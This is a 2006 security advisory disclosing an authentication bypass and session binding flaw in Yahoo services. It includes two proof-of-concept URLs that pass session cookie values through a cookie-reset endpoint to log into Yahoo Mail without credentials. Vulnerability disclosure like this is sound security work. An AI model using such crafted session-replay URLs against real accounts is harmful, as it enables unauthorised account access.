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Yahoo multiple services authentication bypass Vulnerability
Digital Armaments Security Advisory 07.12.2006: Yahoo multiple services authentication bypass Vulnerability
Digital Armaments Security Advisory 07.12.2006: Yahoo multiple services authentication bypass Vulnerability



Digital Armaments advisory for Platinum Subcription is 06.20.2006
Digital Armaments public advisory is 12.07.2006

http://www.digitalarmaments.com/2006061285940301.html 

I. Background

Yahoo! Inc. is an American computer services company with a mission to "be the most essential global Internet service for consumers and businesses". It operates an Internet portal, including the popular Yahoo! Mail.According to Web trends Yahoo! is the most visited website on the Internet today with more than 400 million unique users. The global network of Yahoo! websites received 3.4 billion page views per day on average as of October 2005.

Various Yahoo! services are vulnerable to authentication bypass vulnerability.

Further information or detail about the software you can refer to the vendor's homepage:

http://www.yahoo.com/ 


II. Problem Description

Authentication Bypass and Session Binding Vulnerability. A malicious user can log on to the yahoo without submitting the username and password by constructing a malicious URL using cookies.

Same session (URL) can be used to login multiple times from multiple IP address leading to session binding vulnerability.

Example of Proof-of-concept ("sk" & "d" is session):

--------------------------------------------------------------------------
http://msg.edit.yahoo.com/config/reset_cookies?&.y=Y=v=1%26n=0kvgvgv3qlf11 
%26l=i42.j4ij/o&.t=T=sk=DAAsN0czPhbeiv%26d=c2wBTlRVMUFUSTFNVEl4TXpnNU5EVS0
BYQFRQUUBdGlwAVNQZHhvQgF6egFnblhtRUJnV0E--&.done=http%3a//mail.yahoo.com
--------------------------------------------------------------------------
http://msg.edit.yahoo.com/config/reset_cookies?&.y=Y=v=1%26n=0kvgvgv3qlf11 
%26l=i42.j4ij/o%26p=m2gvvind13000700&.t=T=sk=DAAsN0czPhbeiv%26d=c2wBTlRVMU
FUSTFNVEl4TXpnNU5EVS0BYQFRQUUBdGlwAVNQZHhvQgF6egFnblhtRUJnV0E-&.done=http
%3a//mail.yahoo.com
--------------------------------------------------------------------------


III. Detection

This problem has been detected on online version of Yahoo website.


IV. Impact analysis

A malicious user can log on to the yahoo without submitting the username and password by constructing a malicious URL using cookies.


V. Credit

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VI. Legal Notices

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